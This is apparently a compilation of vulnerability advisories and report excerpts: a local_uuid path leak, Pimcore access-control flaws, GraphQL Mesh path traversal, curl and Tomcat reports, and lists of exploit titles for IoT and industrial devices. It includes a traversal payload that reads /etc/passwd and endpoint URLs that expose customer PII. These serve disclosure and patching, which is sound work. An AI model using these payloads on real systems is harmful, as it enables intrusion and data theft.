`local_uuid()` generates UUIDv5s using a deterministic pseudorandom number stream.  This was written to make graph application demonstrations generate consistent, version-controllable output with minimal noise caused by demonstration re-runs.  Part of the information used to keep individual examples' generated output distinct from one another is seed information from the caller's environment, particularly the program's argument vector.  The present working directory is also included as part of the seed information, but for reasons including maintaining user environment privacy, as well as keeping generated identifiers consistent regardless of where a source tree is housed on a user's file system, the present working directory is trimmed from the left to exclude path information outside of a supplied "Top" source directory.  (In context of the Make scripting language, this "top" directory is typically in a variable called `top_srcdir`.  In context of Git-based project management, this directory is expected to be the root directory of a freshly "Cloned" project, e.g., where `.git` is stored.)

Under certain conditions, a user's present working directory, as an absolute path, was incorporated into seed data for the `local_uuid()` deterministic pseudorandom number stream.  This violates an expectation made in the documented purpose of the `local_uuid()` function, and leaks information about a calling user's environment.

The conditions are:

* Given a project with top source directory `top_srcdir`, for instance `/home/user1/Documents/Project1`;
* Given a Python script housed directly in `top_srcdir`, for instance at `${top_srcdir}/example.py`, written to support the deterministic mode of `local_uuid()`;
* Given a call to that Python script that follows the documentation for `local_uuid()`;

The absolute path for `top_srcdir` was then included in the seed information for the UUIDv5 stream, when what was intended was a relative path spelling.  That is, instead of `./example.py` being in the seed data, `/home/user1/Documents/Project1/example.py` was in the seed data.

This does not leak the present working directory directly.  But, given other knowledge of how a program had been called to generate data using `local_uuid()` under these conditions, it becomes possible to determine that a chosen path can lead to a known UUIDv5 value.  Note that it is not necessarily knowable that the chosen path is the *only* solution to a sequence reconstruction; but, the path can be confirmed to be *a* solution.

### Patches
_Has the problem been patched? What versions should users upgrade to?_

The issue has been patched, in the `cdo-local-uuid` source repository and the `case-utils` source repository.

Users should upgrade to any of these versions minimally:

* `case-utils == 0.5.1`
* `case-utils == 0.6.1`
* `case-utils == 0.7.1`
* `case-utils == 0.8.1`
* `case-utils == 0.9.1`
* `case-utils == 0.10.1`
* `case-utils == 0.11.1`
* `case-utils == 0.12.1`
* `case-utils == 0.13.1`
* `case-utils == 0.14.1`
* `case-utils >= 0.15.0`
* `cdo-local-uuid == 0.5.0`

All `case-utils` releases that contain the patch have the commit `ea630cce66b26dae6d7fa7e02451d6e25456a5f2` in their Git history.  Anyone interested in confirming the presence of this commit in a certain branch or tag can run the following test (written in Bash), substituting the desired branch name for the assigned value of `my_git_ref_of_interest`:

```bash
#!/bin/bash
# Present working directory ($PWD) should be in a clone of this repository:
# https://github.com/casework/CASE-Utilities-Python
my_git_ref_of_interest=main
test \
  "xea630cce66b26dae6d7fa7e02451d6e25456a5f2" \
  == \
  "x$(git merge-base ea630cc ${my_git_ref_of_interest})"
echo $?  # Should print '0'
```

Note that other releases have been posted atop some of those minimal versions recommended for upgrading, named, e.g., `0.5.1.post0`.  These releases were posted to update internal library version numbers, and otherwise contain no functional changes, in accordance with Python Packaging guidance:

* https://packaging.python.org/en/latest/specifications/version-specifiers/#post-release-separators

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

If the script calling `cdo_local_uuid.local_uuid()` is moved out of the "Top" source directory, the issue is addressed.

### References
_Are there any links users can visit to find out more?_

The issue is addressed in this Pull Request:

* https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/3

Tests to reproduce the issue's conditions and confirm it has been addressed are in this Pull Requested:

* https://github.com/Cyber-Domain-Ontology/CDO-Utility-Local-UUID/pull/4

<!--
CVSS3.1 vector determined by rubric diagrams at this page:
https://www.first.org/cvss/v3.1/user-guide
-->


Pimcore Customer Data Framework Improper Access Control allows unprivileged user to access GDPR extracts

[Severity: MEDIUM]

### Summary
An authenticated and unauthorized user can access the GDPR data extraction feature and query over the information returned, leading to customer data exposure.

### Details
Permissions do not seem to be enforced when reaching the `/admin/customermanagementframework/gdpr-data/search-data-objects` endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place : <https://github.com/pimcore/customer-data-framework/blob/b4af625ef327c58d05ef7cdf145fa749d2d4195e/src/Controller/Admin/GDPRDataController.php#L38>

### PoC

In order to reproduce the issue, the following steps can be followed:

1. As an administrator :
  a. Create a role without any permission through Settings → User & Roles → Roles in the administration panel
  b. Create an user through Settings → User & Roles → Users and assign it the unprivileged role previously created
2. Log out the current administrator and log in with this new user
3. Access to the following endpoint `https://pimcore_instance/admin/customermanagementframework/gdpr-data/search-data-objects?id=&firstname=&lastname=&email=&page=1&start=0&limit=50` and the results will be returned to this unauthorized user.

### Impact
An unauthorized user can access PII data from customers without being authorized to.


Pimcore Customer Data Framework Improper Access Control allows unprivileged user to access customers duplicates list

[Severity: MEDIUM]

### Summary
An authenticated and unauthorized user can access the list of potential duplicate users and see their data.

### Details
Permissions do not seem to be enforced when reaching the `/admin/customermanagementframework/duplicates/list` endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place :
<https://github.com/pimcore/customer-data-framework/blob/b4af625ef327c58d05ef7cdf145fa749d2d4195e/src/Controller/Admin/DuplicatesController.php#L43>

### PoC
In order to reproduce the issue, the following steps can be followed :

1. As an administrator :
  a. Create a role without any permission through Settings → User & Roles → Roles in the administration panel
  b. Create an user through Settings → User & Roles → Users and assign it the unprivileged role previously created
2. Log out the current administrator and log in with this new user
3. Access to the following endpoint `https://pimcore_instance/admin/customermanagementframework/duplicates/list` and the results will be returned to this unauthorized user

### Impact
An unauthorized user can access PII data from customers without being authorized to.


Pimcore Ecommerce Framework Bundle Improper Access Control allows unprivileged user to access back-office orders list

[Severity: MEDIUM]

### Summary
An authenticated and unauthorized user can access the back-office orders list and be able to query over the information returned.

### Details
Permissions do not seem to be enforced when reaching the `admin/ecommerceframework/admin-order/list` endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place :

<https://github.com/pimcore/ecommerce-framework-bundle/blob/ff6ff287b6eb468bb940909c56970363596e5c21/src/Controller/AdminOrderController.php#L98>

__Note__ :  Testing this vulnerability requires a fully configured ecommerce website, but it looks vulnerable as when requesting the endpoint the data seem returned (and when looking at the source code nothing seems to validate the permissions on the specified endpoint).

### PoC
In order to reproduce the issue, the following steps can be followed :

1.  As an administrator :
  a. Create a role without any permission through Settings → User & Roles → Roles in the administration panel
  b. Create an user through Settings → User & Roles → Users and assign it the unprivileged role previously created
2. Log out the current administrator and log in with this new user
3. Access to the following endpoint `https://pimcore_instance/admin/ecommerceframework/admin-order/list` and the results will be returned to this unauthorized user

### Impact
An unauthorized user can access back-office orders without being authorized to.


Microsoft.Data.SqlClient and System.Data.SqlClient vulnerable to SQL Data Provider Security Feature Bypass

[Severity: HIGH]

Microsoft.Data.SqlClient and System.Data.SqlClient SQL Data Provider Security Feature Bypass Vulnerability


Cache variables with the operations when transforms exist on the root level even if variables change in the further requests with the same operation

[Severity: MEDIUM]

When you have transforms on the root level or single source with transforms, and the client sends the same query with different variables, the initial variables are used in all following requests until the cache evicts DocumentNode.

Let's say if a token is sent via variables, the following requests will act like the same token is sent even if the following requests have different tokens.

This can cause a short memory leak but it won't grow per each request but per different operation until the cache evicts DocumentNode by LRU mechanism.


Unwanted access to the entire file system vulnerability due to a missing check in `staticFiles` HTTP handler

[Severity: MEDIUM]

### Summary
Missing check vulnerability in the static file handler allows any client to access the files in the server's file system

### Details
When `staticFiles` is set in the `serve` settings in the configuration file, the following handler doesn't check if `absolutePath` is still under the directory provided as `staticFiles`;

```ts
  if (staticFiles) {
    router.get('/:relativePath+', async request => {
      let { relativePath } = request.params;
      if (!relativePath) {
        relativePath = 'index.html';
      }
      const absolutePath = path.join(baseDir, staticFiles, relativePath);
      if (absolutePath.includes(staticFiles) && (await pathExists(absolutePath))) {
        const readStream = fs.createReadStream(absolutePath);
        return new Response(readStream as any, {
          status: 200,
        });
      }
      return undefined;
    });
 ```

### Example scenario
To reproduce it, set `staticFiles` to the relative path of a directory in `.meshrc.yml`;

```yml
serve:
   staticFiles: ./public
```

Then start the server with `mesh dev`, and browse to `/..%2fpackage.json` then you will see the content of `package.json`. You can even go deeper to see sensitive data; `/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd`

### Impact and solution
If `staticFiles` is set under `serve` in the configuration file. you have two options to fix vulnerability;

- Update `@graphql-mesh/cli` to a version higher than `0.82.21`, and if you use `@graphql-mesh/http`, update it to a version higher than `0.3.18`
- Remove `staticFiles` option from the configuration, and use other solutions to serve static files.

### Credits
Thanks [alanwillms@gmail.com](mailto:alanwillms@gmail.com) for reporting this vulnerability with details


[HTTP Request Smuggling] CVE-2024-21733 Apache Tomcat HTTP Request Smuggling (Client- Side Desync) (CWE: 444)

Apache Tomcat from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43 are vulnerable to client-side de-sync attacks.

Client-side de-sync (CSD) vulnerabilities occur when a web server fails to correctly process the Content-Length of POST requests. By exploiting this behavior, an attacker can force a victim's browser to de-synchronize its connection with the website, causing sensitive


[Uncontrolled Resource Consumption] Denial of Service caused by HTTP/2 CONTINUATION Flood

I sent the following report to Apache Tomcat Security Team. They confirmed the report and assigned CVE-2024-24549. I'd like to ask if this is eligible for a bounty.

I'd like to report a DoS vulnerability in Tomcat. I tested 10.1.18 and 11.0 (tomcat:latest and tomcat:11.0 docker images respectively) and it seems that both are vulnerable.

An attacker can send headers using HTTP/2 CONTINUATION frames up to


[Uncontrolled Resource Consumption] CVE-2024-27351: Potential regular expression denial-of-service in django.utils.text.Truncator.words()

# TL;DR

**CVE-2024-27351**: Potential regular expression denial-of-service in `django.utils.text.Truncator.words()`

# Details:

`django.utils.text.Truncator.words()` method (with `html=True`) and `truncatewords_html` template filter were subject to a potential regular expression denial-of-service attack using a suitably crafted string (follow up to CVE-2019


[Misinterpretation of Input] CVE-2024-2004: Usage of disabled protocol

## Summary:
` --proto` in some circumstances ENABLES all protocols after being given `-all`, potentially leading to sending sensitive data over an unencrypted channel.

## Steps To Reproduce:
`curl -Ivs --proto -all,-http http://curl.se`
This command should result in `curl: (1) Protocol "http" disabled` but it actually succeeds.

## Supporting Material/References:
The example command above performs a request to curl.se over


[Server-Side Request Forgery (SSRF)] Libuv: Improper Domain Lookup that potentially leads to SSRF attacks

I recently encountered a challenge in a CTF competition that led me to discover a vulnerability within Node.js, present in all versions after v10. Upon further investigation and code debugging, it became apparent that the vulnerability originated from its direct dependency, `libuv`.

I submitted a report to the Node.js team via HackerOne, and they subsequently connected me with the libuv te


[Unknown] CVE-2024-2398: HTTP/2 push headers memory-leak

A memory leak was found in libcurl in handling HTTP/2 push headers, which could lead to a denial of service due to memory exhaustion.
Original report: https://hackerone.com/reports/2402845

## Impact

denial of service


[Improper Certificate Validation] CVE-2024-2379: QUIC certificate check bypass with wolfSSL

## Summary:
In `vquic-tls.c` `curl_wssl_init_ctx` errors are handled by `goto out` and having `result` be set to an error code to be returned. At the beginning of the function `result` is correctly set to `CURLE_FAILED_INIT` which allows for `goto out` to work correctly without having to set `result` however, `result`'s value is overridden at a certain point  if `ctx_setup` is passed to the function. If


[Uncontrolled Resource Consumption] http: Reading unprocessed HTTP request with unbounded chunk extension allows DoS attacks

I'd like to report Node.js vulnerability (CVE-2024-22019) that was recently fixed:
- HackerOne report: https://hackerone.com/reports/2233486
- Release notes: https://nodejs.org/en/blog/vulnerability/february-2024-security-releases

## Impact

This is a major issue because it allows unbounded resource (CPU, network bandwidth) consumption of the standard Node.js http server


[Uncontrolled Resource Consumption] Apache HTTP Server: HTTP/2 DoS by memory exhaustion on endless continuation frames

I'd like to report Apache httpd vulnerability (CVE-2024-27316) that was recently fixed.
* Advisory: https://httpd.apache.org/security/vulnerabilities_24.html

## Impact

HTTP/2 incoming headers exceeding the limit are temporarily buffered in nghttp2 in order to generate an informative HTTP 413 response. If a client does not stop sending headers, this leads to memory exhaustion.


[Unknown] CVE-2024-0853: OCSP verification bypass with TLS session reuse

Original Report:https://hackerone.com/reports/2298922

## Impact

CWE-299: Improper Check for Certificate Revocation


[Improper Certificate Validation] CVE-2024-2466: TLS certificate check bypass with mbedTLS (reward request)

For reward request.

Please refer to this report issue from curl:
https://hackerone.com/reports/2416725

And already published at here:
https://curl.se/docs/CVE-2024-2466.html

## Impact

Reference from above.


[Improper Certificate Validation] CVE-2024-2379: QUIC certificate check bypass with wolfSSL

See https://hackerone.com/reports/2410774 or https://curl.se/docs/CVE-2024-2379.html

## Impact

See https://hackerone.com/reports/2410774 or https://curl.se/docs/CVE-2024-2379.html


[Improper Authentication - Generic] CVE-2024-25128: Apache Airflow: Authentication Bypass when Legacy OpenID(2.0) is in use as AUTH_TYPE

When OpenID(2.0) is in use as Authentication Type, it is possible for an attacker to forge authentication to any existing account in the Target Airflow installation. This was possible via deceiving the backend of app to trust arbitrary OpenID 2.0 Identity Provider(even if the provider is not in the trusted IDP list in config). In conclusion, an attacker could


[Improper Validation of Certificate with Host Mismatch] CVE-2024-2466: TLS certificate check bypass with mbedTLS

## Summary:

Curl library has a security vulnerability where the certificate name check is bypassed when connecting to a host via its IP address. This could potentially introduce spoofing attacks or unauthorized access due to unverified server certificate.

This issue only affects the Curl with MbedTLS.

- Affected versions: from libcurl 8.5.0 to and including 8.6.0 (current master v


[Uncontrolled Resource Consumption] CVE-2024-2398: HTTP/2 push headers memory-leak

## Summary:
For each incoming `PUSH_PROMISE` header a new `name:value` string is allocated
and the pointer to that string is stored in the `stream->push_headers` array.

```
h = aprintf("%s:%s", name, value);
    if(h)
      stream->push_headers[stream->push_headers_used++] = h;
```

Libcurl will reject `PUSH_PROMISE` frames with too many headers.
When the number of headers exceeds some threshold, `on_header` re


[Unknown] CVE-2024-27281: RCE vulnerability with .rdoc_options in RDoc

I made a report at https://hackerone.com/reports/1187477

https://www.ruby-lang.org/en/news/2024/03/21/rce-rdoc-cve-2024-27281/

> An issue was discovered in RDoc 6.3.3 through 6.6.2, as distributed in Ruby 3.x through 3.3.0.
> When parsing .rdoc_options (used for configuration in RDoc) as a YAML file, object injection and resultant remote code execution are possible because there are no restrictions on the classes that can


[Improper Check for Certificate Revocation] CVE-2024-0853: OCSP verification bypass with TLS session reuse

## Summary:
In version 8.5.0, cURL has inadvertently established a pathway for accepting revoked certificates.
As a result of [this correction](https://github.com/curl/curl/pull/12418/commits/7cf0391bbc3b5b2e4402ce675124cd73dbe0187e), during TLS session reuse, OCSP stapling verification will be skipped.
However, the TLS session will be preserved regardless of OCSP verification results.
A


[Seebug SSV-99967] Ivanti Endpoint Manager Mobile代码注入漏洞
Severity: high
Date: 2026-02-03
CVE: CVE-2026-1281, CVE-2026-1340


[Seebug SSV-99966] 无人机开源飞控 PX4-Autopilot堆栈溢出漏洞 CVE-2025-15150
Severity: high
Date: 2025-12-30
CVE: CVE-2025-15150


[Seebug SSV-99965] MongoDB内存泄漏 CVE-2025-14847
Severity: high
Date: 2025-12-29
CVE: CVE-2025-14847


[Seebug SSV-99927] 1Panel 代理证书验证绕过导致任意命令执行漏洞(CVE-2025-54424)
Severity: high
Date: 2025-08-05
CVE: CVE-2025-54424


[Seebug SSV-99926] Citrix NetScaler 内存泄漏(CVE-2025-5777)
Severity: high
Date: 2025-07-11
CVE: CVE-2025-5777


[Seebug SSV-99925] ModelContext Inspector 未授权访问漏洞(CVE-2025-49596)
Severity: high
Date: 2025-06-17
CVE: CVE-2025-49596


[Seebug SSV-99924] llamaindex SQL 注入漏洞(CVE-2025-1750)
Severity: high
Date: 2025-06-03
CVE: CVE-2025-1750


[Seebug SSV-99923] Screen 本地权限提升漏洞(CVE-2025-23395)
Severity: mid
Date: 2025-05-16
CVE: CVE-2025-23395


[Seebug SSV-99922] Craft CMS 验证后模版注入导致远程命令执行漏洞(CVE-2025-46731)
Severity: high
Date: 2025-05-06
CVE: CVE-2025-46731


[Seebug SSV-99920] CentreStack & Triofox 反序列化漏洞(CVE-2025-30406)
Severity: high
Date: 2025-04-24
CVE: CVE-2025-30406


[Seebug SSV-99919] CrushFTP 认证绕过漏洞(CVE-2025-2825)
Severity: high
Date: 2025-03-31
CVE: CVE-2025-2825


[Seebug SSV-99918] Vite 任意文件读取漏洞(CVE-2025-30208)
Severity: high
Date: 2025-03-27
CVE: CVE-2025-30208


[Seebug SSV-99917] Next.js 中间件权限绕过漏洞(CVE-2025-29927)
Severity: high
Date: 2025-03-24
CVE: CVE-2025-29927


[Seebug SSV-99916] Apache Camel 任意命令执行漏洞(CVE-2025–27636 & CVE-2025-29891)
Severity: high
Date: 2025-03-13
CVE: CVE-2025-29891


[Seebug SSV-99914] trojan多用户管理部署程序 Login bypass(CVE-2024-55215)
Severity: high
Date: 2025-02-08
CVE: CVE-2024-55215


[Seebug SSV-99913] Palo Alto Expedition RCE 漏洞（CVE-2025-0107）
Severity: high
Date: 2025-01-23
CVE: CVE-2025-0107


[Seebug SSV-99912] 漏洞名称: totolink a810r 命令注入漏洞（CVE-2024-57036）
Severity: high
Date: 2025-01-23
CVE: CVE-2024-57036


[Seebug SSV-99911] xz-utils软件包liblzma库存在后门（CVE-2024-3094）
Severity: high
Date: 2025-01-17
CVE: CVE-2024-3094


[Seebug SSV-99910] Aviatrix 网络控制器命令注入漏洞（CVE-2024-50603）
Severity: high
Date: 2025-01-08
CVE: CVE-2024-50603


[Seebug SSV-99909] DrayTek Vigor2960/Vigor300B 命令注入漏洞(CVE-2024-12987)
Severity: high
Date: 2025-01-02
CVE: CVE-2024-12987


[Seebug SSV-99908] Craft CMS 未经身份验证 RCE(CVE-2024-56145)
Severity: high
Date: 2024-12-24
CVE: CVE-2024-56145


[Seebug SSV-99907] Databricks JDBC 驱动程序 JNDI 注入（CVE-2024-49194）
Severity: high
Date: 2024-12-20
CVE: CVE-2024-49194


[Seebug SSV-99906] Apache Tomcat 条件竞争致远程代码执行漏洞（CVE-2024-50379）
Severity: high
Date: 2024-12-18
CVE: CVE-2024-50379


[Seebug SSV-99905] Apache Struts 目录遍历导致文件上传RCE漏洞（CVE-2024-53677）
Severity: high
Date: 2024-12-16
CVE: CVE-2024-53677


[Seebug SSV-99904] WordPress-Umbrella插件本地文件包含漏洞(CVE-2024-12209)
Severity: high
Date: 2024-12-10
CVE: CVE-2024-12209


[Seebug SSV-99903] Windows辅助功能的WinSock特权提升漏洞(CVE-2024-38193)
Severity: high
Date: 2024-12-09
CVE: CVE-2024-38193


[Seebug SSV-99902] Zabbix认证后SQL注入漏洞(CVE-2024-42327)
Severity: high
Date: 2024-12-03
CVE: CVE-2024-42327


[Seebug SSV-99901] ProjectSend认证绕过漏洞(CVE-2024-11680)
Severity: high
Date: 2024-11-28
CVE: CVE-2024-11680


[Seebug SSV-99900] Sitecore CMS未经身份验证任意文件读取漏洞(CVE-2024-46938)
Severity: high
Date: 2024-11-26
CVE: CVE-2024-46938


[Seebug SSV-99899] Palo Alto Networks PAN-OS身份认证绕过漏洞（CVE-2024-0012）
Severity: high
Date: 2024-11-20
CVE: CVE-2024-0012


[Seebug SSV-99898] Fortinet FortiManager 未授权RCE（CVE-2024-47575）
Severity: high
Date: 2024-11-19
CVE: CVE-2024-47575


[Seebug SSV-99897] WordPress-ReallySimpleSecurity插件认证绕过漏洞(CVE-2024-10924)
Severity: high
Date: 2024-11-15
CVE: CVE-2024-10924


[Seebug SSV-99896] Citrix Virtual Apps and Desktop 7 (CVE-2024-8069)
Severity: high
Date: 2024-11-14
CVE: CVE-2024-8069


[Seebug SSV-99895] D-Link NAS Command Injection（CVE-2024-10914、CVE-2024-10915）
Severity: high
Date: 2024-11-07
CVE: CVE-2024-10914, CVE-2024-10915


[Seebug SSV-99894] ZoneMinder开源视频监控平台SQL注入漏洞(CVE-2024-51482)
Severity: high
Date: 2024-11-05
CVE: CVE-2024-51482


[Seebug SSV-99893] JeecgBoot SQL injection（CVE-2024-48307）
Severity: high
Date: 2024-11-01
CVE: CVE-2024-48307


[Seebug SSV-99892] PyTorch库RPC框架反序列化RCE漏洞(CVE-2024-48063)
Severity: high
Date: 2024-10-31
CVE: CVE-2024-48063


[Seebug SSV-99891] Apache Solr 身份认证绕过漏洞（CVE-2024-45216）
Severity: high
Date: 2024-10-30
CVE: CVE-2024-45216


Pachno 1.0.6 FileCache Deserialization Remote Code Execution

Severity: high


Pachno 1.0.6 (runSwitchUser()) Remote Vertical Privilege Escalation

Severity: high


Pachno 1.0.6 Wiki TextParser XXE Vulnerability

Severity: high


Pachno 1.0.6 Cross-Site Request Forgery

Severity: high


Pachno 1.0.6 (uploadfile) Unrestricted File Upload Remote Code Execution

Severity: high


Pachno 1.0.6 (return_to) Open Redirection

Severity: medium


Pachno 1.0.6 Stored Cross-Site Scripting

Severity: high


Honeywell Trend IQ4xx BMS Controller Unauthenticated Remote Web-HMI Control And Lockout

Severity: critical


Tattile Cameras 1.181.5 Unauthenticated RTSP Stream Disclosure

Severity: medium


Tattile Cameras 1.181.5 Use of Default Credentials

Severity: critical


Tattile Cameras 1.181.5 Insufficient Token (X-User-Token) Expiration

Severity: medium


eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation

Severity: high


eNet SMART HOME server 2.3.1 (resetUserPassword) Account Takeover

Severity: high


eNet SMART HOME server 2.3.1 (deleteUserAccount) Arbitrary User Deletion

Severity: high


eNet SMART HOME server 2.3.1 Use of Default Credentials

Severity: critical


JUNG Smart Visu Server 1.1.1050 Remote Server Shutdown

Severity: high


JUNG Smart Visu Server 1.1.1050 Request URL Override

Severity: high


JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal

Severity: critical


Ilevia EVE X1/X5 Server 4.7.18.0.eden Authenticated Remote Command Injections

Severity: critical


Ilevia EVE X1/X5 Server 4.7.18.0.eden Root Privilege Escalation

Severity: critical


Ilevia EVE X1/X5 Server 4.7.18.0.eden Insecure Hashing Algorithm

Severity: medium


Ilevia EVE X1/X5 Server 4.7.18.0.eden Default Credentials

Severity: critical


Ilevia EVE X1 Server 4.7.18.0.eden (mbus) Unauthenticated Remote Command Injection

Severity: critical


Ilevia EVE X1 Server 4.7.18.0.eden Unauthenticated Reflected XSS

Severity: high


Ilevia EVE X1 Server 4.7.18.0.eden Parameter Traversal Arbitrary File Access

Severity: critical


Ilevia EVE X1/X5 Server 4.7.18.0.eden Reverse Rootshell

Severity: critical


Ilevia EVE X1/X5 Server 4.7.18.0.eden Authentication Bypass Exploit

Severity: critical


Ilevia EVE X1 Server 4.7.18.0.eden Credentials Leak Through Log Disclosure

Severity: critical


Ilevia EVE X1 Server 4.7.18.0.eden Neuro-Core Unauth Code Invasion

Severity: critical


Ilevia EVE X1 Server 4.7.18.0.eden (db_log) Pre-Auth File Disclosure

Severity: critical


Daikin Security Gateway v214 Remote Password Reset

Severity: critical


Ksenia Security Lares WebServer Home Automation Remote Code Execution

Severity: high


Ksenia Security Lares WebServer Home Automation PIN Logic Flaw

Severity: high


Ksenia Security Lares WebServer Home Automation URL Redirection

Severity: medium


Ksenia Security Lares WebServer Home Automation Default Credentials

Severity: critical


ABB Cylon FLXeon 9.3.4 Insecure Backup Sensitive Data Exposure

Severity: high


ABB Cylon FLXeon 9.3.4 (cert.js) System Logs Information Disclosure

Severity: high


ABB Cylon Aspect 3.08.02 PHP Session Fixation Vulnerability

Severity: high


ABB Cylon FLXeon 9.3.4 (wsConnect.js) WebSocket Command Spawning PoC

Severity: critical


ABB Cylon FLXeon 9.3.4 (users.js) Authenticated Root Remote Code Execution

Severity: critical


ABB Cylon FLXeon 9.3.4 (cert.js) Authenticated Root Remote Code Execution

Severity: critical


ABB Cylon FLXeon 9.3.4 (timeConfig.js) Authenticated Root Remote Code Execution

Severity: critical


ABB Cylon FLXeon 9.3.4 (upload.js) Authenticated Root Remote Code Execution

Severity: critical


ABB Cylon FLXeon 9.3.4 (cmds.js) Authenticated Root Remote Code Execution

Severity: critical


ABB Cylon FLXeon 9.3.4 (login.js) Unauthenticated Root Remote Code Execution

Severity: critical


ABB Cylon Aspect 3.08.02 (licenseServerUpdate.php) Stored Cross-Site Scripting

Severity: critical


ABB Cylon Aspect 3.08.02 (licenseUpload.php) Stored Cross-Site Scripting

Severity: critical


ABB Cylon Aspect 3.08.02 (uploadDb.php) Remote Code Execution

Severity: critical


ABB Cylon Aspect 3.08.02 (bbmdUpdate.php) Remote Code Execution

Severity: critical


ABB Cylon Aspect 3.08.02 (escDevicesUpdate.php) Off-by-One Config Write DoS

Severity: critical


ABB Cylon Aspect 3.08.02 (CookieDB) SQL Injection

Severity: critical


ABB Cylon Aspect 3.07.02 (userManagement.php) Weak Password Policy

Severity: medium


ABB Cylon Aspect 3.08.03 Hard-coded Secrets

Severity: critical


ABB Cylon Aspect 3.08.02 Cookie User Password Disclosure

Severity: high


ABB Cylon Aspect 3.08.02 (deployStart.php) Unauthenticated Command Execution

Severity: critical


ABB Cylon Aspect 3.08.02 (WatchDogServlet) Authenticated Reflected XSS

Severity: medium


ABB Cylon Aspect 3.08.02 (syslogUpdate.php) Remote Code Execution

Severity: high


ABB Cylon Aspect 3.08.02 (editOverride.php) Authentication Bypass MIX Override

Severity: critical


ABB Cylon Aspect 3.08.02 (aspectMemory.php) Arbitrary Heap Memory Configuration

Severity: high


ABB Cylon Aspect 3.08.02 Unauthenticated Configuration Disclosure

Severity: critical


ABB Cylon Aspect 3.08.02 (API/Servlets) Server-Side Request Forgery (SSRF)

Severity: critical


ABB Cylon Aspect 3.08.02 (altlogin.php) Unauthenticated Reflected XSS

Severity: critical


ABB Cylon Aspect 3.08.01 (oosManagerAjax.php) Information Manipulation

Severity: critical


ABB Cylon Aspect 3.08.01 (combinedStats.php) Information Disclosure

Severity: high


ABB Cylon Aspect 3.08.02 (fileSystemUpdate.php) Remote Guest2Root Exploit

Severity: critical


ABB Cylon Aspect 3.08.02 (userManagement.php) Cross-Site Request Forgery

Severity: critical


ABB Cylon Aspect 3.08.02 (servicesUpdate.php) Remote Code Execution

Severity: critical


ABB Cylon Aspect 3.08.02 (fileSystemUpdateExecute.php) Remote Code Execution

Severity: critical


ABB Cylon Aspect 3.08.01 (servicesUpdate.php) Remote Code Execution

Severity: critical


Akuvox Smart Intercom/Doorphone ServicesHTTPAPI Improper Access Control

Severity: high


ABB Cylon Aspect 3.07.01 (config.inc.php) Hard-coded Credentials in phpMyAdmin

Severity: critical


ABB Cylon Aspect 3.08.01 (bigUpload.php) Remote Code Execution

Severity: critical


ABB Cylon Aspect 3.08.01 (databaseFileDelete.php) Arbitrary File Delete

Severity: critical


Akuvox Smart Intercom/Doorphone Unauthenticated Stream Disclosure

Severity: medium


Deep Sea Electronics DSE855 Remote Authentication Bypass

Severity: critical


Aquatronica Control System 5.1.6 Passwords Leak Vulnerability

Severity: critical


Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Device Config

Severity: critical


Elber ESE DVB-S/S2 Satellite Receiver 1.5.x Authentication Bypass

Severity: critical


Positron Broadcast Signal Processor TRA7005 v1.20 _Passwd Exploit

Severity: critical


Tosibox Key Service 3.3.0 Local Privilege Escalation

Severity: medium


TELSAT marKoni FM Transmitter 1.9.5 Insecure Access Control Change Password

Severity: high


TELSAT marKoni FM Transmitter 1.9.5 Client-Side Access Control Bypass

Severity: high


TELSAT marKoni FM Transmitter 1.9.5 Backdoor Account

Severity: critical


TELSAT marKoni FM Transmitter 1.9.5 Root Command Injection PoC Exploit

Severity: critical


R Radio Network FM Transmitter 1.07 system.cgi Password Disclosure

Severity: critical


TitanNit Web Control 2.01 / Atemio 7600 Root Remote Code Execution

Severity: critical


TEM Opera Plus FM Family Transmitter 35.45 XSRF

Severity: high


TEM Opera Plus FM Family Transmitter 35.45 Remote Code Execution

Severity: critical


VIMESA VHF/FM Transmitter Blue Plus 9.7.1 (doreboot) Remote Denial Of Service

Severity: high


Electrolink FM/DAB/TV Transmitter Pre-Auth MPFS Image Remote Code Execution

Severity: critical


Electrolink FM/DAB/TV Transmitter Unauthenticated Remote DoS

Severity: high


Electrolink FM/DAB/TV Transmitter SuperAdmin Hidden Functionality

Severity: high


Electrolink FM/DAB/TV Transmitter Vertical Privilege Escalation

Severity: high


Electrolink FM/DAB/TV Transmitter Remote Authentication Removal

Severity: critical


Electrolink FM/DAB/TV Transmitter (Login Cookie) Authentication Bypass

Severity: critical


Electrolink FM/DAB/TV Transmitter (controlloLogin.js) Credentials Disclosure

Severity: critical


Electrolink FM/DAB/TV Transmitter (login.htm/mail.htm) Credentials Disclosure

Severity: critical


Anevia Flamingo XL 3.2.9 (login) Remote Root Jailbreak

Severity: high


MiniDVBLinux 5.4 Remote Root Command Injection Vulnerability

Severity: critical


BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution

Severity: high


EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution

Severity: critical


Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution

Severity: critical